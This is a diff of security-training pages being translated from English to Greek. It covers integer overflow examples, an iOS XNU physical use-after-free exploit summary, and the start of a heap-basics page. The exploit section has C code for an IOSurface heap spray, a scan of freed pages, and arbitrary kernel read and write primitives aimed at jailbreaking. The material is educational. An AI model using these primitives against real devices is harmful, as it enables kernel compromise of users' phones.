println!("{}", add_result);
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Examples
|
||||
## Παραδείγματα
|
||||
|
||||
### Pure overflow
|
||||
|
||||
The printed result will be 0 as we overflowed the char:
|
||||
### Καθαρή υπερχείλιση
|
||||
|
||||
Το εκτυπωμένο αποτέλεσμα θα είναι 0 καθώς υπερχείλαμε το char:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Μετατροπή από Υπογεγραμμένο σε Μη Υπογεγραμμένο
|
||||
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
|
||||
|
||||
Σκεφτείτε μια κατάσταση όπου ένας υπογεγραμμένος ακέραιος διαβάζεται από την είσοδο του χρήστη και στη συνέχεια χρησιμοποιείται σε ένα πλαίσιο που τον αντιμετωπίζει ως μη υπογεγραμμένο ακέραιο, χωρίς κατάλληλη επικύρωση:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Σε αυτό το παράδειγμα, αν ένας χρήστης εισάγει έναν αρνητικό αριθμό, θα ερμηνευτεί ως ένας μεγάλος μη υπογεγραμμένος ακέραιος λόγω του τρόπου που ερμηνεύονται οι δυαδικές τιμές, ενδεχομένως οδηγώντας σε απροσδόκητη συμπεριφορά.
|
||||
|
||||
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
|
||||
|
||||
### Other Examples
|
||||
### Άλλα Παραδείγματα
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
|
||||
- Μόνο 1B χρησιμοποιείται για να αποθηκεύσει το μέγεθος του κωδικού πρόσβασης, οπότε είναι δυνατό να υπερχειλίσει και να νομίζει ότι έχει μήκος 4 ενώ στην πραγματικότητα είναι 260 για να παρακάμψει την προστασία ελέγχου μήκους
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: 
|
||||
- Δεδομένων μερικών αριθμών, βρείτε χρησιμοποιώντας το z3 έναν νέο αριθμό που πολλαπλασιαζόμενος με τον πρώτο θα δώσει τον δεύτερο: 
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
|
||||
- Μόνο 1B χρησιμοποιείται για να αποθηκεύσει το μέγεθος του κωδικού πρόσβασης, οπότε είναι δυνατό να υπερχειλίσει και να νομίζει ότι έχει μήκος 4 ενώ στην πραγματικότητα είναι 260 για να παρακάμψει την προστασία ελέγχου μήκους και να επαναγράψει στη στοίβα την επόμενη τοπική μεταβλητή και να παρακάμψει και τις δύο προστασίες
|
||||
|
||||
## ARM64
|
||||
|
||||
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
Αυτό **δεν αλλάζει σε ARM64** όπως μπορείτε να δείτε σε [**αυτή την ανάρτηση ιστολογίου**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,211 +2,202 @@
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
Αυτή είναι μια περίληψη από την ανάρτηση από [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) επιπλέον, περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
|
||||
Ο **εικονικός χώρος διευθύνσεων μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο **kernel** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**.
|
||||
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Page tables are organized hierarchically in three levels:
|
||||
Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα:
|
||||
|
||||
1. **L1 Page Table (Level 1)**:
|
||||
* Each entry here represents a large range of virtual memory.
|
||||
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
|
||||
2. **L2 Page Table (Level 2)**:
|
||||
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
|
||||
* An L1 entry may point to an L2 table if it can't map the entire region itself.
|
||||
3. **L3 Page Table (Level 3)**:
|
||||
* This is the finest level, where each entry maps a single **4 KB** memory page.
|
||||
* An L2 entry may point to an L3 table if more granular control is needed.
|
||||
1. **L1 Page Table (Επίπεδο 1)**:
|
||||
* Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης.
|
||||
* Καλύπτει **0x1000000000 bytes** (ή **256 GB**) εικονικής μνήμης.
|
||||
2. **L2 Page Table (Επίπεδο 2)**:
|
||||
* Μια εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB).
|
||||
* Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να αντιστοιχίσει ολόκληρη την περιοχή μόνη της.
|
||||
3. **L3 Page Table (Επίπεδο 3)**:
|
||||
* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή αντιστοιχεί σε μια μεμονωμένη **4 KB** σελίδα μνήμης.
|
||||
* Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος.
|
||||
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
|
||||
* Ορισμένες εγγραφές σε έναν πίνακα σελίδων **αντιστοιχούν άμεσα σε ένα εύρος εικονικών διευθύνσεων** σε μια συνεχόμενη περιοχή φυσικών διευθύνσεων (όπως μια συντόμευση).
|
||||
* **Pointer to Child Page Table**:
|
||||
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
|
||||
* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **πίνακα παιδιών** στο επόμενο επίπεδο (π.χ., L2).
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
Let’s say you try to access the virtual address **0x1000000000**:
|
||||
Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στη εικονική διεύθυνση **0x1000000000**:
|
||||
|
||||
1. **L1 Table**:
|
||||
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
|
||||
* Ο kernel ελέγχει την εγγραφή του πίνακα L1 που αντιστοιχεί σε αυτή τη εικονική διεύθυνση. Αν έχει μια **δείκτη σε έναν πίνακα L2**, πηγαίνει σε αυτόν τον πίνακα L2.
|
||||
2. **L2 Table**:
|
||||
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
|
||||
* Ο kernel ελέγχει τον πίνακα L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η εγγραφή δείχνει σε έναν **πίνακα L3**, προχωρά εκεί.
|
||||
3. **L3 Table**:
|
||||
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
|
||||
* Ο kernel αναζητά την τελική εγγραφή L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης.
|
||||
|
||||
#### Example of Address Mapping
|
||||
|
||||
If you write the physical address **0x800004000** into the first index of the L2 table, then:
|
||||
Αν γράψετε τη φυσική διεύθυνση **0x800004000** στον πρώτο δείκτη του πίνακα L2, τότε:
|
||||
|
||||
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
|
||||
* This is a **block mapping** at the L2 level.
|
||||
* Οι εικονικές διευθύνσεις από **0x1000000000** έως **0x1002000000** αντιστοιχούν σε φυσικές διευθύνσεις από **0x800004000** έως **0x802004000**.
|
||||
* Αυτό είναι μια **block mapping** στο επίπεδο L2.
|
||||
|
||||
Alternatively, if the L2 entry points to an L3 table:
|
||||
Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3:
|
||||
|
||||
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
|
||||
* Κάθε σελίδα 4 KB στην εικονική διεύθυνση **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες εγγραφές στον πίνακα L3.
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
A **physical use-after-free** (UAF) occurs when:
|
||||
Μια **φυσική χρήση μετά την απελευθέρωση** (UAF) συμβαίνει όταν:
|
||||
|
||||
1. A process **allocates** some memory as **readable and writable**.
|
||||
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
|
||||
3. The process **deallocates** (frees) the memory.
|
||||
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
|
||||
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
|
||||
6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory.
|
||||
1. Μια διεργασία **κατανέμει** κάποια μνήμη ως **αναγνώσιμη και εγγράψιμη**.
|
||||
2. Οι **πίνακες σελίδων** ενημερώνονται για να αντιστοιχίσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που μπορεί να προσπελάσει η διεργασία.
|
||||
3. Η διεργασία **απελευθερώνει** (ελευθερώνει) τη μνήμη.
|
||||
4. Ωστόσο, λόγω ενός **σφάλματος**, ο kernel **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη.
|
||||
5. Ο kernel μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελεύθερη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα του kernel**.
|
||||
6. Δεδομένου ότι η αντιστοίχιση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να **διαβάσει και να γράψει** σε αυτή τη φυσική μνήμη.
|
||||
|
||||
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
|
||||
Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης του kernel**, οι οποίες θα μπορούσαν να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του kernel**.
|
||||
|
||||
### Exploitation Strategy: Heap Spray
|
||||
|
||||
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
|
||||
Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες του kernel θα ανατεθούν σε ελεύθερη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**:
|
||||
|
||||
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
|
||||
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
|
||||
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
|
||||
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
|
||||
1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του kernel.
|
||||
2. Κάθε αντικείμενο IOSurface περιέχει μια **μαγική τιμή** σε ένα από τα πεδία του, διευκολύνοντας την αναγνώριση.
|
||||
3. **Σαρώνονται οι ελεύθερες σελίδες** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface έχει προσγειωθεί σε μια ελεύθερη σελίδα.
|
||||
4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελεύθερη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν τη μνήμη του kernel**.
|
||||
|
||||
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
Περισσότερες πληροφορίες σχετικά με αυτό στο [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
|
||||
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
|
||||
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
|
||||
* Use one field to **read any 32-bit value** in kernel memory.
|
||||
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
|
||||
|
||||
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
|
||||
1. **Spray IOSurface Objects**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με μια ειδική ταυτότητα ("μαγική τιμή").
|
||||
2. **Scan Freed Pages**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελεύθερη σελίδα.
|
||||
3. **Read/Write Kernel Memory**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του kernel. Αυτό τους επιτρέπει:
|
||||
* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του kernel.
|
||||
* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **primitive ανάγνωσης/εγγραφής του kernel**.
|
||||
|
||||
Δημιουργήστε αντικείμενα IOSurface με τη μαγική τιμή IOSURFACE_MAGIC για να τα αναζητήσετε αργότερα:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Search for **`IOSurface`** objects in one freed physical page:
|
||||
|
||||
Αναζητήστε αντικείμενα **`IOSurface`** σε μία ελεύθερη φυσική σελίδα:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Επιτυχία Ανάγνωσης/Εγγραφής Kernel με IOSurface
|
||||
|
||||
### Achieving Kernel Read/Write with IOSurface
|
||||
Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια ελεύθερη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για **τυχαίες λειτουργίες ανάγνωσης και εγγραφής του kernel**.
|
||||
|
||||
After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**.
|
||||
**Κύρια Πεδία στο IOSurface**
|
||||
|
||||
**Key Fields in IOSurface**
|
||||
Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία:
|
||||
|
||||
The IOSurface object has two crucial fields:
|
||||
1. **Δείκτης Χρήσης**: Επιτρέπει μια **32-bit ανάγνωση**.
|
||||
2. **Δείκτης Χρονοσήμανσης**: Επιτρέπει μια **64-bit εγγραφή**.
|
||||
|
||||
1. **Use Count Pointer**: Allows a **32-bit read**.
|
||||
2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
|
||||
Με την αντικατάσταση αυτών των δεικτών, τους ανακατευθύνουμε σε τυχαίες διευθύνσεις στη μνήμη του kernel, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής.
|
||||
|
||||
By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities.
|
||||
#### 32-Bit Ανάγνωση Kernel
|
||||
|
||||
#### 32-Bit Kernel Read
|
||||
|
||||
To perform a read:
|
||||
|
||||
1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
|
||||
2. Use the `get_use_count` method to read the value at that address.
|
||||
Για να εκτελέσετε μια ανάγνωση:
|
||||
|
||||
1. Αντικαταστήστε τον **δείκτη χρήσης** ώστε να δείχνει στη στοχευμένη διεύθυνση μείον μια απόσταση 0x14 byte.
|
||||
2. Χρησιμοποιήστε τη μέθοδο `get_use_count` για να διαβάσετε την τιμή σε αυτή τη διεύθυνση.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
|
||||
#### 64-Bit Kernel Write
|
||||
|
||||
To perform a write:
|
||||
|
||||
1. Overwrite the **indexed timestamp pointer** to the target address.
|
||||
2. Use the `set_indexed_timestamp` method to write a 64-bit value.
|
||||
Για να εκτελέσετε μια εγγραφή:
|
||||
|
||||
1. Επαναγράψτε τον **δείκτη χρονοσήμανσης με δείκτη** στη στοχευμένη διεύθυνση.
|
||||
2. Χρησιμοποιήστε τη μέθοδο `set_indexed_timestamp` για να γράψετε μια τιμή 64-bit.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Ανακεφαλαίωση Ροής Εκμετάλλευσης
|
||||
|
||||
#### Exploit Flow Recap
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: Free pages are available for reuse.
|
||||
2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory.
|
||||
3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control.
|
||||
4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods.
|
||||
|
||||
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
|
||||
1. **Ενεργοποίηση Φυσικής Χρήσης-Μετά-Απελευθέρωσης**: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση.
|
||||
2. **Ψεκασμός Αντικειμένων IOSurface**: Κατανομή πολλών αντικειμένων IOSurface με μια μοναδική "μαγική τιμή" στη μνήμη του πυρήνα.
|
||||
3. **Εντοπισμός Προσβάσιμου IOSurface**: Εντοπίστε ένα IOSurface σε μια απελευθερωμένη σελίδα που ελέγχετε.
|
||||
4. **Κατάχρηση Χρήσης-Μετά-Απελευθέρωσης**: Τροποποιήστε τους δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη **ανάγνωση/εγγραφή πυρήνα** μέσω μεθόδων IOSurface.
|
||||
|
||||
Με αυτές τις πρωτογενείς λειτουργίες, η εκμετάλλευση παρέχει ελεγχόμενες **32-bit αναγνώσεις** και **64-bit εγγραφές** στη μνήμη του πυρήνα. Επιπλέον βήματα jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερές πρωτογενείς αναγνώσεις/εγγραφές, οι οποίες μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ., PPL σε νεότερες συσκευές arm64e).
|
||||
|
||||
@ -2,196 +2,189 @@
|
||||
|
||||
## Heap Basics
|
||||
|
||||
The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**.
|
||||
Ο σωρός είναι βασικά ο χώρος όπου ένα πρόγραμμα μπορεί να αποθηκεύσει δεδομένα όταν ζητά δεδομένα καλώντας συναρτήσεις όπως **`malloc`**, `calloc`... Επιπλέον, όταν αυτή η μνήμη δεν χρειάζεται πλέον, καθίσταται διαθέσιμη καλώντας τη συνάρτηση **`free`**.
|
||||
|
||||
As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section):
|
||||
Όπως φαίνεται, είναι ακριβώς μετά το σημείο όπου το δυαδικό αρχείο φορτώνεται στη μνήμη (ελέγξτε την ενότητα `[heap]`):
|
||||
|
||||
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Basic Chunk Allocation
|
||||
|
||||
